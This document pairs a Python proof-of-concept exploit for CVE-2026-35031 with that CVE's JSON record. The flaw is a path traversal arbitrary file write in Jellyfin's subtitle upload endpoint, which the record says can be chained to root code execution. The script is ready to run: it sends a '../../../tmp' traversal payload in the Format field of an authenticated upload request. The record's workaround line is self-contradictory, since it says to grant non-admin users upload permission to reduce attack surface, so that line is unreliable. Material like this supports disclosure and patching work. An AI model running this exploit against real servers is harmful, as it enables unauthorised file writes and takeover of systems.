CVE-2026-35031

# PoC for CVE-2026-35031: Jellyfin Arbitrary File Write # This script demonstrates the path traversal vulnerability in the subtitle upload endpoint. # Note: Requires authentication and "Upload Subtitles" permission. import requests target_url = "http://target-jellyfin-server:8096" item_id = "VALID_MEDIA_ITEM_ID" # A valid media item ID on the server api_key = "USER_API_KEY" # Valid API key or session token traversal_payload = "../../../tmp/test_poc.txt" # Path traversal payload headers = { "Authorization": f"MediaBrowser Token={api_key}", "X-Emby-Token": f"{api_key}" } # Step 1: Upload arbitrary file via path traversal upload_url = f"{target_url}/Videos/{item_id}/Subtitles" data = { "Format": traversal_payload # Vulnerable parameter } files = { "Language": (None, "eng"), "Data": ("test.txt", b"Malicious content for arbitrary write") } response = requests.post(upload_url, headers=headers, data=data, files=files) if response.status_code == 204: print("[+] Arbitrary file write successful.") else: print(f"[-] Upload failed: {response.status_code}")

{"cve": {"id": "CVE-2026-35031", "sourceIdentifier": "[email protected]", "published": "2026-04-14T23:16:28.490", "lastModified": "2026-04-23T17:44:25.707", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Jellyfin is an open source self hosted media server. Versions prior to 10.11.7 contain a vulnerability chain in the subtitle upload endpoint (POST /Videos/{itemId}/Subtitles), where the Format field is not validated, allowing path traversal via the file extension and enabling arbitrary file write. This arbitrary file write can be chained into arbitrary file read via .strm files, database extraction, admin privilege escalation, and ultimately remote code execution as root via ld.so.preload. Exploitation requires an administrator account or a user that has been explicitly granted the \"Upload Subtitles\" permission. This issue has been fixed in version 10.11.7. If users are unable to upgrade immediately, they can grant non-administrator users Subtitle upload permissions to reduce attack surface."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "baseScore": 9.9, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.1, "impactScore": 6.0}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-20"}, {"lang": "en", "value": "CWE-22"}, {"lang": "en", "value": "CWE-187"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:jellyfin:jellyfin:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.11.7", "matchCriteriaId": "16256CB1-CEA1-4216-B492-D9016420F60D"}]}]}], "references": [{"url": "https://github.com/jellyfin/jellyfin/releases/tag/v10.11.7", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/jellyfin/jellyfin/security/advisories/GHSA-j2hf-x4q5-47j3", "source": "[email protected]", "tags": ["Mitigation", "Vendor Advisory"]}]}}